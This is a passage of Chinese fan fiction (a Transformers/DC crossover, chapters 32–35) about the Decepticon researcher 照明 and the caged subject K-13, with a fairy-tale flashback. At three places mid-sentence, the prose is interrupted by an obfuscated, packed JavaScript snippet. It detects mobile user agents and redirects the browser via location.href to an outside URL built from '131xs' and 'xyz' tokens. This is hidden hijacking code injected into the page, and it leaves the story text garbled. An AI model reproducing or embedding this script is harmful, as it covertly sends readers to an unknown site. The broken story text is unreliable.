被包围的当时,他们并非毫无退路。以史蒂夫和巴基的经验,他们已经判断出左侧塌方后的一段通风管道仍可通行,只需些许爆破与攀爬,就能勉强突围。 但那无疑是一次艰难、充满风险的逃生。照明的出现,让脱身变得更迅速、更安全。 史蒂夫思索着,咽下了自己的质疑。 照明和风语是他初次接触到的赛博坦人,就个人而言,他认为她们本性都不坏。但这段时间对于周围环境的了解,尤其是今天…… 巴基以轻松的态度说出了好友的疑惑:“说实在的,我以为你和他们是一伙的呢?” 照明打开车门,之前看到过的一排小型飞行器正停靠在角落。 史蒂夫和巴基下了车,她变回初始形态,尝试解锁飞行器;还好,这是可以使用的。 她看着两位人类,嘴角扯出一个笑容:“该怎么说呢?你们帮助过我们,我对工作也没有那么多的热情。” 何况,不管你们是什么人,你们都不应该因为我朋友的过失,而被卷入这么危险的境地。 32. 误会 这是她第几次违规了?她已经记不清了。 望着小型飞行器悄然驶出建筑,照明芯里飞快盘点着自己的所作所为有没有留下漏洞——篡改监控、窝藏人类、擅自行动。 每一项都足以让她被定罪处刑,但她竟然做得心安理得。 刚刚史蒂夫和巴基还提醒她,这里和研究所并不适合久留。 时间紧急,他们没有细说;但他们话里的暗示再明显不过,概括而言就是想撬黑骑士的墙角——如果照明愿意,她可以和他们一起离开。 至于去处,那也不是问题。 照明可以为军方工作,以她的能力在那里也能拥有一席之地,不也有和人类合作的变形金刚吗? 如果是担心之前的立场问题,史蒂夫和巴基也都可以为她提供担保。 照明感谢了他们的好意,但还是拒绝了。 因为……她不能走。 或许所有人的一生中都会经历很多选择。有的无足轻重,或者就算选错了也能再选一次;但有的在选择之后,就只能一条路走到黑,再也不能回头。 她见过克劳星的覆灭,见过有坚决不愿意选择派别的变形金刚,被当成无用的渣滓处决。 霸天虎不需要墙头草,这是一种警告,更是防止这些中立派以后会加入汽车人。 霸天虎得不到的,汽车人也别想得到;得不到的就等于无用,需要被毁掉。 当一个霸天虎是一项无法辞职的工作。 不,黑骑士绝对不会允许她退出的。 照明知道了太多研究所里的秘密。黑骑士可能会假模假式地为照明办个欢送仪式,下一个周期照明失去色彩的死亡机体就会被发现在基地外。 照明不确信自己能躲过霸天虎的追杀,人工制造的恐怖早就已经根植在她的芯中。因此哪怕芯里千百次幻想过逃离,她也从没真正认为这是一个可行的计划。 自由从来不是她能拥有的东西。 更重要的是,月蚀,现在还多了K-13,她们都还在黑骑士的掌握之中。 照明摇摇头,把这些胡思乱想都甩出脑海,决定赶紧先回到操作室。 但当照明赶回操作室的时候,操作室里又是一番全然不同的景象。 她四处遍寻不得的K-13就在里面。 K-13站在一个畏缩的身影面前。 她的面前,是一塌糊涂、冷凝液和清洗液在面甲上糊成一团的炸药。 照明惊愕地站着,就像被静止射线击中了那样,直到炸药的一声呻吟唤回了她的神智。 “求、求求你,不要——!”炸药痛苦地颠三倒四道。 他没有看到照明的到来,这一声是对K-13绝望的祈求。 他整个机几乎爬到了主控台下的角落里,举着一只手臂进行徒劳的防御。 站在那两人的斜对面,照明可以看到,炸药的外装甲的中心处,有一处很明显的裂痕,这让他的火种仓都差一点要暴露在外了。 他举起的手臂之下,肩甲和脖颈的金属融化了一大半,露出下面的焦黑的原生质来。 照明忍不住联想到K-13喷吐火球的攻击手段。 听到有人走进,K-13回首看了一眼。 她的光学镜像熔化的钢铁一样,散发着奇异的光芒。不知道是不是因为刚刚的战斗,她的眼神里燃烧着某种安静而寒冷的东西。 她的状况同样不容乐观。 最严重的就是她的左腿,照明想象不出,K-13是怎么能拖着这条扭曲的腿找回操作室的。 荧蓝色的能量液不断从她受损的机体各处流出,淌在地上,比在监控里看到的更加刺目。 K-13肯定看见了照明,但她并没有理会,而是摇晃了一下,一拳击中了炸药的头雕,又举起爪子,好像在准备最后一击。 照明下意识地道:“等等!” K-13没有转身,但她停下了动作。 她锋利的手爪悬停在距离炸药的喉咙几厘米的地方。 炸药呜咽一声,晕了过去,在机体和精神的双重受挫下线了。 照明小心翼翼地向前走了一步,尽力让自己的声音听起来温和又稳定。 “虽然我不知道发生了什么事,但我相信这一切都是有原因的。” K-13轻哼了一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474200|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你受了很严重的伤。我很担心你。”照明又往前靠近一步,语气低了下来,“拜托,不管发生了什么,请先让我帮你包扎好吗?” 照明没有明说,但她希望K-13能够理解;这个炉渣,不值得K-13为之惹上麻烦。 尽管此刻看来,K-13无疑比一个高级研究员重要得多;可谁又能保证,在实验结束后,K-13不会像其他实验体一样被黑骑士轻易舍弃? 照明也只能寄希望于K-13能听得进自己的话。 K-13动摇了。 她依旧没有转头去看照明,但她的动作确实迟疑了。 她锋利的手爪一点点垂落,眼看就要放下。 然而,下一瞬,K-13的机体突然一震,她瘫软地向前倾倒,慢慢跪倒在地。紧接着,如同被切断操控线的木偶,她整个人毫无征兆向后倒去。 照明急忙上前扶住K-13,却被她机体的重量一同拖倒在地。金属装甲互相撞击,发出刺耳的嘶响,K-13的身体沉沉地压在她怀里。 照明半跪半坐,几乎是将K-13圈在怀中,慌忙地检查着她的情况。 “什么?不,不……你怎么了?坚持住……”她喃喃地低声说着,声音因困惑与惊慌而颤抖。 照明转而把K-13平放在地上,一只手臂抱着她的头,将K-13的头放在自己的膝盖上,另一只手臂恰好擦过K-13颈部的项圈。 她没有注意到,控制项圈的指示灯微妙地闪烁了几下。 K-13闭着光学镜,但幸运的是,她还没有完全下线。可能只是伤势过重,无法维持机体的运作了? 照明正通过主控台呼叫上级时,却听见K-13在她怀里低低地笑了一声,声音微弱而破碎。 喘着气,她说出一句不明所以的话:“你迟到了。” 照明无法判断这句话的含义,只当作是K-13神志不清的混乱言语。 不知道是呼叫起了作用,还是一切恰巧,那个人造机器人再一次出现在了门口,用平淡的语音下达了命令:“指示:返回研究所,立即执行紧急医疗程序。两位研究员均需要向黑骑士进行汇报。” 33. 你的名字 “毁灭日91号已被安全地收容好了,卢瑟先生。”人造机器人向莱克斯·卢瑟汇报着。 此刻,他已经跟塞拉斯重新连接在了一起,说话的语气也从曾经的一板一眼,变得充满人味起来。 见卢瑟点点头,塞拉斯又把一个黑色的小装置递给卢瑟。 卢瑟从他庞大的金属手掌中接过了这个小装置,饶有兴趣地摆弄着它。 “我赶到的时候,K-13实验体似乎失控了,正在攻击一个变形金刚研究员。另一个研究员似乎慌了神,于是我连忙暂时切断了K-13的神经回路。” 塞拉斯续道:“还好你有先见之明,提前备份了项圈的控制器。那些异类始终靠不住。对于他们,我们人类可不能没有控制的手段。” 这句话算是附和了卢瑟一直以来的理念,顺便点了一下他们另一位盟友黑骑士的“异类”身份。 卢瑟抬眼瞥了一眼塞拉斯,喉咙深处发出一声代表赞同的声音。 “他们已经带着实验体撤离了,全部测试数据也已上传备份,进行了封存。” 塞拉斯转而提起另一件事:“还有,你也知道,我们迎来了两位意料之外的客人。虽然那个区域的监控全毁了,但多亏备份线路及时重启,至少我们知道是谁动了我们的东西。” “也不知道他们是怎么发现这里的,既然你没有下令阻止,我也没让手下继续费劲。” 卢瑟嗯了一声:“他们带走了些东西,是吧?” “是的,一些纸质档案、身份设备,还有少量无关样本。”塞拉斯问,像是在等一个解释,“你早就做出准备了?” 卢瑟不置可否地点点头,他的语气很淡:“让他们带走他们想要带走的东西吧。他们带走的,正是我想让他们看到的版本。” “你故意放走他们,想让那些人错误地判断形势?” 卢瑟看着塞拉斯,难得多说了几句:“既然知道大概会有超级英雄横插一脚,比起截杀他们、打草惊蛇,不如顺势拖延他们的脚步。” 他微微勾了一下嘴角:“他们会以为自己发现了什么线索,然后一头扎进我设计好的资料里,在误区里打转。” “让这些所谓的超级英雄做他们一直在做的事吧,自以为是地试图拯救世界。”卢瑟反手收好了黑色小装置,目光炯炯,“而我们,才是真正动手塑造世界的人。” —————— 刚返回研究所,K-13和炸药就被送进了医务室里。 由于这是个初级研究所,之前八百年也遭遇不了一回敌袭;在平时,伊迪斯主要是负责行政工作,以及解决各式各样离谱的机体问题——挡板打开卡住收不回去啦,金属舌黏在冷冻板上啦,输出管一直充能啦,诸如此类。 她上一回负责真正受了重伤的伤患,还是被来袭的汽车人打断手臂的照明。 现在这样的重伤患,一口气竟是来了两个。 伊迪斯有点左右为难,最终还是决定以所长的任务为先,先救治实验体K-13。 在她忙碌的同时,照明抢了医疗机器人的工作,在旁边给伊迪斯打下手。 尽管伊迪斯表达了希望照明回去等着的意愿,但照明说,即使回到实验室她也无事可做。 同事和实验体都在这躺着呢,她回去面对干空荡荡的实验室能做什么,干瞪光学镜吗? 在这里打打下手,反而能让照明更加安芯些。 见照明坚持,而且她又学习过一些医疗技能,伊迪斯也就勉强同意,让她留下了。 作为这里唯一的医官,伊迪斯的技术果然很不错。 照明不知道她在战前是做什么的,但大概也是做医疗工作的吧? 在她尽心尽职的修复之下,K-13的一切几乎都复原了,甚至那副尖锐的外装甲也被打磨光滑了些,不知道伊迪斯有没有研究过机体美容。 但在医疗程序结束之后,K-13也没有立即清醒过来。 伊迪斯解释说这很正常。 机体虽然被修补好了,但是内部各个系统重新上线都需要时间。还有些地方,让机体内部的原生质进行自行修复更加适宜。 于是尽管百般不耐,芯里有千百个问题在打转,照明还是只能坐在医疗床的旁边,等着K-13醒过来。 她想要问,在K-13昏迷之前,她说的那句话究竟是什么意思? 她还想问,K-13为什么突然无故攻击炸药? K-13可不会突然发了狂,她可比很多变形金刚都要清醒理智得多,照明知道得再清楚明白不过了。 K-13的光学镜紧闭,像是陷入了深度的充电之中。 但她的手爪微微蜷缩着,爪尖扎进了手心,好像在忍耐或是抵抗着什么。 照明尝试着掰开她的手爪,阻止这种自残的行为,但没有成功。 她只好低着头雕,一次又一次地确认K-13是否上线了。 就在这时,通讯提示了一下,风语好像发来什么信息,但照明没空查阅,因为伊迪斯走了过来。 她拿着检测仪,扫了K-13一圈,点点头:“没什么问题,你可以把K-13带回隔离仓了。炸药那边还需要一段时间。我暂时没有他损坏部位对应的零件,需要让后勤部的机子帮我寻找一番。” —————— 走了一条专用的隐蔽通道,照明带着K-13回到了实验室。 明明离开不久,却莫名有种恍若隔世的感觉…… 医官的判断是准确的。 K-13在不久之后就清醒过来。 见她已经回到了熟悉实验室的隔离仓之中,她环顾了一圈,没有说半个字,又懒懒地合上了光学镜。 照明坐在实验终端前,看似在查看一份报告,实则在偷偷打量K-13。 她也实在没有什么可做的了。 那个人造机器人转达的黑骑士命令,是让她和炸药一起进行汇报,照明也没有接到让她单独前往的通知。 想来,需要等炸药恢复正常、重新上线之后,汇报才会成为一个迫在眉睫的问题。 照明把数据板放下,低头看了看自己的手,又望向K-13。 K-13醒来后,已经沉默了一个循环了。 她离开了充电床,正坐在角落,头雕不知有意无意,就是撇开了照明所在的一边。 以往她们的相处,多数时间都是由K-13开启话题。 这会儿K-13超出寻常的安静,照明倒有些不习惯起来。 从前一个人的时候,沉默好像也能忍受,可经历了之前与K-13那些轻松愉快的对话后,照明才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……它也是我家乡一种传说中的生物,在它被镇压之前摧毁了几乎一半的行星。”照明补充道。 K-13,现在是傀拉了,咯咯笑了起来:“哦,我喜欢。听起来你起了一个很适合我的名字。” 照明松了口气,忍不住也微笑起来,感觉自己火种跳动的速度稍微快了一些。 “对了,我想问问你……” 傀拉打断了她的话。 “我不想解释我为什么攻击他。” 照明眨了眨光学镜,一摊手:“……那好吧。” 傀拉看了照明很久。她的表情难以捉摸,似乎在怀疑为什么照明就这样放弃了追问。 然后她把头转开,透过隔离仓顶部,盯着天花板。 “但这是有原因的。” 照明谨慎地说:“你知道你可以告诉我的。” “那你就不会阻止我了吗?” 这个问题比她预期的要尖锐,照明没有回答。 傀拉阖了阖光学镜。 当她再次睁开光学镜时,眼神已变得更加柔和,和从前没什么区别。 “再给我讲个故事吧。”她这样要求道。 反正也没什么事做,见傀拉的芯情有所好转,照明也乐意满足一下她的要求。 然而,她刚找到一个故事的开头,却被傀拉否决了:“这一次,我想要一个关于你的故事。” 34. 往事 照明疑惑道:“我的……故事?” 傀拉点了点头,好像她的要求再合理不过那样说道: “告诉我吧,照明。我想知道你以前都经历过什么,取得过什么成就,犯下过什么错误,遇见过什么人。” 这番话几乎有点浪漫,但考虑到傀拉想知道的内容,又让照明很是纠结。 照明思索着。 所以她当时还是没成功转移傀拉的注意力。 在给她戴上项圈时,炸药的那一通发泄,让傀拉念念不忘。 该说还好傀拉没有继续询问“体外火种融合”吗? 其实,研究所里现在无机不知,照明是因为什么才来到这里。 在照明初到研究所的那段时间里,研究员们对她的态度格外谨慎。不少机子都认为她是某位高层看重的机子,不过是短暂下放,迟早会重返报应号。 因此,许多机子争相向她示好,或是主动分担她手上的任务,或是以各种不动声色的方式,试图与她拉近距离。 毕竟照明的履历摆在那里,没人不希望照明能帮他们在那些指挥官面前说些好话,这样或许就可以得到升迁。 然而没过多久,不忿的炸药查阅文件,得知了照明来到这个初级研究所的原因。 照明根本不是什么被“下放锻炼”,而是被震荡波长官打发走眼不见为净的累赘。 他到处散播这个消息,而恰好此时所长也将照明从原本的岗位上撤了下来,一切似乎都对上了号。 研究员们的态度也悄然改变了。 奉承变成了嘲笑,热情化作了冷眼。 有些机子还对和照明之前的交往感到懊恼,没占到便宜总感觉吃了亏,也担心自己站错了队,干脆添油加醋地在背后奚落。 没人爱搭理她了,照明也乐得清净。 但那些毕竟是之前的事了,现在作为一件谈资都略显陈旧。 照明已经很久没有想到,也很久没有被人提起。 只在偶尔被迫用到自己的天赋能力时,这件事情才会在中央处理器里面打一下转,但一般都会立即被她压下去。 她对自己的所作所为后悔吗?她对自己感到羞愧吗? 照明难以给出一个确定的答案。 不过可能人总是耻于谈论自己失败的经历;照明作为普通赛博坦人的一员,也不例外。 她甚至有点暗暗埋怨傀拉了。 为什么要逼迫她说出自己的过去呢?她也没有强迫傀拉一定要说出攻击炸药的原因啊。 傀拉催促道:“愿意满足一下我的好奇心吗,亲爱的?” 照明僵住了一下:“这其实一点也不重要的,也不关你的事情。” “真伤心。我以为我们的关系已经足够让你回答我了。” “我们……只是研究员和实验体的关系吧。” 是啊。她们现在是什么关系? 被傀拉这样一说,照明的中央处理器后台忍不住建立了一个进程,开始思考她们的关系。 刚刚她其实有点慌张了。如果要让她说出真芯话,她更愿意把傀拉当做一个平等的个体,一个和她一样的赛博坦人,一个难得的朋友。 见照明反复推辞,傀拉面甲上流露出一丝落寞。 她低声说道:“你知道我在战斗的时候,都在想什么吗?” “第一场也就算了,第二场他们放出了实体的怪物,你应该也看着吧?我根本没有胜利的把握,只好拖延时间,尝试让战斗暂停下来。这可能是我打过最艰难的一场战斗。我应该全力以赴,思考对策。” “然而我却在想你。” “你差不多已经知道了我的全部,连火种都看过了呢。但是我对你,却几乎一无所知。” “如果带着好奇和疑问就这样死了——虽然我认为他们不会就这样让我死掉——这真的是一件很遗憾的事情。” “我只是想更多地了解你一点而已。” 傀拉贴近透明的仓壁,金色的光学镜比赛博坦最明亮的星星还要闪闪发光。 照明芯底的不快忽然就烟消云散了。 她知道自己无法拒绝傀拉。 这可能只是她的甜言蜜语,但是,听起来那么真诚…… “好吧,”她最终妥协了,“不过让我们折中一下。既然你也说了,你想听的是故事。那我会把我的经历编成一个童话故事讲给你,你可以从中揣测你想知道的事。” “那么,我要开始讲了。” *** 这一次,故事没有发生在赛博坦。 这个故事发生在地球上。当时人类依然相信国王的权威,害怕他们看不见的神明。 人类的历史实在很短暂,所以故事没有发生在很久很久以前,但它依然是一个童话故事。 既然是童话故事,那它就有寓意,也有主人公。 故事的主人公是一个还没脱离磨合期的小姑娘。 她生活在王国最偏远的北方小村庄里。 小村庄临山而建,春天总是迟迟才肯到来,土地干硬,耕种很艰难,狂风时常光顾,仿佛被世界遗忘了。 但没有被赋税遗忘——在收税的时候,领主的人会来这里。 毕竟,小村庄虽然偏远,但还是在国王的统治之下。 有一天,许久没有出现的神明降临了王国。 已经很久没有人向祂祈祷了,就连国王都觉得君权神授只是一句糊弄臣民的鬼话。 但当神明重新崛起,降下神谕的那一刻,所有人都从灵魂深处颤抖。 祂首先降临在都城。 祂见证了国王的失败,祂看到这个王国侵略邻国、压榨民众、买卖官职。 祂看着这个王国,看到了腐烂。 神明觉得国王的所作所为违背了他的教义,于是祂降下了神罚,用天火烧毁了国王的王宫。 贵族们吓坏了。 为了逃脱神明的处罚,他们率军赶到都城,将国王拖到了广场上、押上了断头台,又去蒙尘的教堂里向神明祈祷。 他们鞠躬、祈求,涕泪横流地发着誓,说自己之前只是受了那个邪恶国王的蒙骗;自己和背后的整个家族,一直都是全心全意侍奉神明的。 神明的雕像露出了笑容。 祂说:“那么,证明你们的信仰吧。如果国王是万恶的根源,那让我看看你们治疗这个王国的方法。” 神要求人们证明他们的信仰。 但是究竟如何证明,这让贵族们想破了脑袋。 最终,他们思考出了一种仪式,能让神明感受到他们的诚意。 就这样,王国治下的每一个村庄、每一个镇子、每一个城市,都需要举行一场审判。 他们称之为赎罪仪式。 在每一个民众聚集地,都需要选出一个最邪恶的人,然后再选出一个最纯净的人,对其执行死刑。 被选中的人是进贡给神明的“羔羊”。 “纯净者”对其进行的审判,是用来消除人类的罪恶,熄灭神明的怒火,以示对神明的敬畏与忠诚。 贵族们把牧师们找了回来,派往全国各地。 牧师们会从都城带来镜子,放在用以处刑的广场正中。他们称之为“神明之眼”。 只要“羔羊”在临死前忏悔罪恶,然后被处死,镜子便不会碎裂。 “羔羊”会代表王国的邪恶死去,神明会很高兴。 否则,整个聚集地就会燃起神罚之火。 但是,也有几位贵族和大臣不同意这种方式。 可惜他们势单力薄,话语在其他贵族的赞同声中失去了声音。 他们只好离开宫廷,从民间寻回了被国王流放的王子,盼望王子能够领导他们,改变这一切。 王子心地善良,处事贤明,有的大臣曾说过,他是整个国家最善良纯洁的人。 他被逐出王室,只是因为他反对了几次国王的政令,所以被国王视为了眼中钉。 王子听了来找他的人的话,决心承担起王国未来领袖的责任,在民间成立一支反抗军。 从反抗这个邪恶的仪式开始,以人的力量,从神的手中,拯救出这个千疮百孔的王国。 先不谈那些反抗军,赎罪仪式已经成为了王国当前最重要的大事。 每个聚居地都按照贵族的要求完成着仪式,神明果然也一直沉默,没有再降下神罚。 在那个王国北边的偏远小村庄里,也迎来了这场仪式。 小姑娘从小就知道,自己和别的孩子有一点不一样。 她认真说出的话语具有某种力量,可以命令别人去做事情,也可以影响别人的状态。 村庄里的老人慈祥地告诉她,这是来自远古神明的赐福。 在此之前,小姑娘从来没有用这种能力做过一件坏事。 牧师在来到小村庄之后,也发现了小姑娘的特殊能力,经过考量,小姑娘作为“纯净者”被选中了。 而且,牧师还希望她在仪式里,能做一件特别的事情。 这场仪式的“羔羊”是一位被俘的年轻骑士,是反抗军的将领之一。 反抗军阻止过好几次仪式,他们和贵族的军队战斗,赶走牧师、打碎代表神明之眼的镜子,悄悄把民众带离聚居地以躲过神罚之火。 不知道是什么原因,或许是王子的权柄并非由神明授予,他们成功了。 贵族们害怕反抗军阻挠仪式让他们遭受神罚,更怕反抗军推翻由他们组成的临时政.权,一直都在搜捕由王子领导的反抗军。 刚好,贵族的军队在偏远的此处抓捕到了这位骑士。 他作为小村庄的“羔羊”,简直再合适不过了。 年轻的骑士面无惧色,面对拷问一言不发。牧师命令他吐露反抗军的种种秘密,但他只是大笑,用各种玩笑话嘲笑牧师的无能。 牧师气急败坏,为了完成贵族的命令,他命令小姑娘用她的能力,让这个骑士在被处死之前吐露情报、忏悔罪行。 小村庄的广场早早地被草垛和人群包围了。人群如群山的石头一样沉默,唯有火把在风中噼啪作响。 小姑娘捧着仪式用的小刀,背对着人群,走向被捆绑着的骑士。 代表“神明之眼”的镜子就放在旁边。 “先问他。”牧师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493754|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她背后命令。 小姑娘咽了口唾沫,手指在刀柄上微微发抖:“请忏悔你的罪行,告诉我……你的同伴在哪里……” 她的声音并不大,甚至有点发颤,但那位骑士睁开了眼。 他浑身颤抖,抵抗着小姑娘的能力,把嘴唇咬得鲜血淋漓。 小姑娘都担心他要把自己的舌头咬下来,她没敢继续问下去,嗫嚅着停下了。 骑士成功抵抗住了能力的影响。 他嘶哑却坚定地说:“我没有罪行需要忏悔,我的同伴们也没有。我什么也不会说的。” 他又转向一旁的牧师:“等着瞧吧,王子会改变一切的。真正的神在人民的心里,不在这鬼地方。到时候你和那些贵族就等着下地狱去吧。” 小姑娘听着他的话,看着他的眼睛,被深深震动了。 这是第一个抵抗住了她能力的人。 牧师怒吼一声,一把攥住了小姑娘的手臂,用力将她的手推向骑士。 刀尖划破骑士的胸膛,鲜血喷涌而出。 “不!”小姑娘惊叫。她从未杀过人,从未想过要杀人。 她慌乱地想抽回手,可牧师的手像铁钳一样紧握不放。她下意识用上了能力:“请、请不要死!” 鲜血逆流了回去,伤口也复原如初。那位骑士的眼睛还睁着,却没有聚焦。 他没有死,却也没有活着,他的灵魂由于这个违背现实的要求,在躯体里沉睡不醒。 牧师和人群担心地看着那一面代表“神明之眼”的镜子,担心它会突然碎裂,神罚之火会随即降下。 镜子完好无损。 在牧师要惩罚小姑娘之前,神秘的事情发生了。 一阵大笑自镜中回荡而出。 那是一阵充满魔性的大笑。 神明的声音传了出来:“真是……典型的人类。怜悯是有代价的。你不想杀了他,又想保护这个村庄,而现在你却同时失去了两者。” 那个小村庄在天火中化为灰烬,村民们的家园被毁,家畜死亡、财产消失,土地也再无法耕种,但村民们得以幸存。 仿佛神明也遵循了某种奇怪的对等原则:既然小姑娘动了一半的手,那惩罚也只降了一半。 作为对贵族的交代,牧师把小姑娘带回了都城。 贵族们把小姑娘交给他们中一位擅长炼金术的贵族研究,希望小姑娘的能力能发挥一点作用。 但奇怪的是,小姑娘的能力再也没有像以前一样。能力变得时有时无,而且能发挥出的上限也降低了很多。 最终,贵族失去了对小姑娘的研究兴趣;但他也没有放小姑娘离开,把她送到了自己的一个庄园里。 这就是故事的结局。 一个恐惧中的王国、一个不敢杀人的小姑娘、一个介于死活之间的骑士,和一个在凡人痛苦中取乐的神明。 *** “所以,你是故事里的小姑娘。那个骑士又指谁?” 照明没什么兴致地否认道:“我都说了这只是一个童话故事。你要猜测的话,就自己去猜好了。” 傀拉笑了一下,换了一种问法:“故事里的神明听起来倒像是个带着远大理想的暴君。王子和反抗军想必是代表了正义一方吧。那么你觉得,那小姑娘又算什么呢?” “是一个懦夫。”照明这回如傀拉所想地回答了。 她虚弱地扯了扯嘴角:“或许小姑娘知道什么是对什么是错,但她还是听从了牧师的命令。” 傀拉摇摇头。她的声音低沉,出奇的温柔。 “我不认为神明笑那个小姑娘,是因为她做错了什么。神明笑她,是因为她以为自己有选择。故事里的神明憎恨平庸之恶、不信有真正的善良,对祂来说,这种普通人的‘软弱的理想主义’才最有趣。” 照明抬头看了一眼傀拉,抿了抿唇,没有说话。 傀拉回味着故事,说道:“但那个神明在有一件事上说得挺对。怜悯是有代价的。” 她玩味地笑了一下,又回归了惯常的态度。 “谢谢你,这个故事很有趣。我现在明白了,像你这样可爱的机子为什么会在这里。” “我知道这是一个糟糕的地方,其他机子都是冷漠的刽子手。但是……你真的很令人惊叹。” “你给关在笼子里的怪物取名字。你照顾我,给我念书,还把自己的能量块省下来给我。” “我想让你知道;如果我需要在这里才能遇见你,我并不后悔来到这里。” 照明从来没和别人讲过这些,甚至连风语也没有。对于她的过去,风语应该只是听八卦听的。 把过去的事情用另一种形式倾诉给别人,也让照明卸下了一些一直以来、以某种形式肩负的压力。 照明小声说:“……我没有你说得那么好啦。但……谢谢你说这些。” 实验室里,除了设备的低沉嗡嗡声外,一片寂静。 照明又检查了一遍傀拉的机体状况,作为今天工作的收尾。 离开实验室前,她对傀拉告别:“下一个周期见。” “下一个周期见。”傀拉微笑着回答道。 35. 报应号上 照明做了一个梦。 说是梦也不太准确,因为变形金刚不会做梦,不像有机体那样。 他们最接近做梦的生理活动,发生在充电的时候。 此时,中央处理器会进入一种节省能量的模式,在后台对过往记忆文件的碎片信息进行整理。 这样,可以在变形金刚上线的时候,提高处理器的运行速度。 照明从前也在充电中,感受过中央处理器对于以往记忆碎片的读取。 但这次,记忆碎片给她的感觉太真实了。 人类的梦境,就是这样的吗? 这是在报应号上。 这艘承载着数以千计士兵的军舰,已经在地球上空航行了太久。 威震天陛下的军舰内部一直都是阴沉沉的灰黑色,很符合霸天虎领袖的风格。走廊压抑而冰冷,就像枪管的内部。 照明在转弯之前就知道自己要去往何方了。 她的双脚不受控制地移动,她发现自己站在三个变形金刚旁。 其中一个变形金刚被两个量产机械兵丢在地上,红蜘蛛指挥官站在他对面。 那是一个被俘虏的汽车人。 照明抬头看了他一眼,又把光学镜撇开了。 在磨损的装甲底下,还能看出部分他的涂装,是很鲜艳的红色,照明猜测他或许是一辆性格张扬的跑车。 但被俘虏的现在,他也只能微弱地倒在地上,咳出一摊能量液。 他受伤挺严重,全身好像经历过一场大爆炸,灰扑扑的,连头雕上的尖角都断了一支。 这倒是件怪事。那些机械兵竟也有这种战斗力吗? 红蜘蛛指挥官看起来很生气,不知道汽车人的话又戳到了他的什么痛点。 也很正常。 红蜘蛛指挥官向来很容易为别人对他的不服从和不尊敬炸毛,照明来到报应号之后,见到过好几次这样的情况了,这是连量产小兵都习以为常的景象。 不过,就当红蜘蛛愤怒地伸出手爪,想要刺穿汽车人战俘的火种仓的时候,他的手肘被拉住了。 是声波后发先至。 他伸出机械触手,阻止了红蜘蛛杀死汽车人。 红蜘蛛挑起了一边的眉毛,不悦道:“声波,怎么了?” 戴着面罩的变形金刚什么也没说。 面罩上的显示屏一阵波动,播放了一段录音:[这个星球上无论身处何处,我们都是孤立的,小飞。] 这是一个轻松愉快、含笑的女声。 “还有那个叫阿尔茜的?哼……” 从声波的面罩中,传来了一系列剪辑过的拼接录音: 首先是威震天的声音:[我们必须……利用一切可以利用的资源。] 红蜘蛛皱起眉头,困惑不解:“所以?” 另一个录音回答了,这是一个惊恐的声音,带着电流声但是仍然很清晰: [我不是故意的——她只是——她让我说的!我停不下来!] 声音突然中断。 然后,声波以合成的电子音发表了一段冷冰冰的声明: [照明:特殊能力者。其命令会导致目标的不自主反应,能够短暂控制生物行为。语言命令范围:未知。] 红蜘蛛慢慢地说,思考着:“你是在建议我用她审讯汽车人?” 声波点了点头表示确认。 红蜘蛛眯起光学镜,咧嘴一笑。他的好奇芯被激了起来,之前的杀意消散了。 “有趣。那就让我们看看,你的手下究竟能不能发挥作用。” 汽车人俘虏被带到了霸天虎的审讯室,由照明来负责审讯出他其他同伴的下落。 尽管声波不负情报官之职,已神通广大地截获了这两位汽车人的内部通讯,但有些事情,还是当场确认更加清楚。 毕竟好不容易抓到一个汽车人俘虏,直接干掉实在是太浪费了;实在要杀,等拷问完毕再杀掉也不迟嘛。 汽车人往往都是硬骨头,用正常的刑讯手段是很难从他们口中逼问出有用的信息的。 但这回有了照明就不一样了。 红蜘蛛简直要高兴坏了。 他不仅捕获了关键的俘虏,眼见得他还可以获得所有地球上残余汽车人的位置信息。 如果能一举歼灭所有地球上的汽车人,想必等威震天回来,也会对他副官的成就大吃一惊吧? 不不不,做出如此伟大的功绩的他,怎甘心蹉跎在无能的威震天的领导之下、继续浪费自己的才华呢?到时候…… 果然还是他最适合当霸天虎的领袖了! 他连忙一推照明,咆哮道:“你!还在等什么?你可以让他乖乖听话,不是吗?现在就用你的能力,把信息都从他嘴里掏出来!” 照明清楚地认识到这只是一个记忆碎片,但还是无法就这样结束充电清醒过来。 她张开嘴说道:“你叫什么名字?” 她的声音温和,却带着某种共鸣,绕过脑模块暗暗渗透进火种深处。 汽车人俘虏本该抗拒,却鬼使神差地回答:“飞过山。” 照明仿佛没察觉他的愣神,继续轻声问道:“除了你和你的搭档,你们还有其他同伴一起吗?他们有多少人数?” “我是和……”飞过山眉头一皱,像是意识到了不对劲,猛地咬住下唇,“我不会告诉你任何——” 照明语气平静,循循善诱:“阿尔茜不在你身边,那其他人呢?他们的坐标在哪里?” 飞过山颤抖着:“你在我脑子里做了什么?从我的脑海中出来!” “我不在你的脑海里。我只是在问问题,而一部分的你想要回答。” 审讯顺利地继续着。 飞过山竭力咬紧牙关,发声器却违背了主人的意志,接连泄露了两个地点坐标的片段。 在声波强大情报系统的监控之下,这些微弱的线索足够组合出好几条汽车人巡逻的路线。 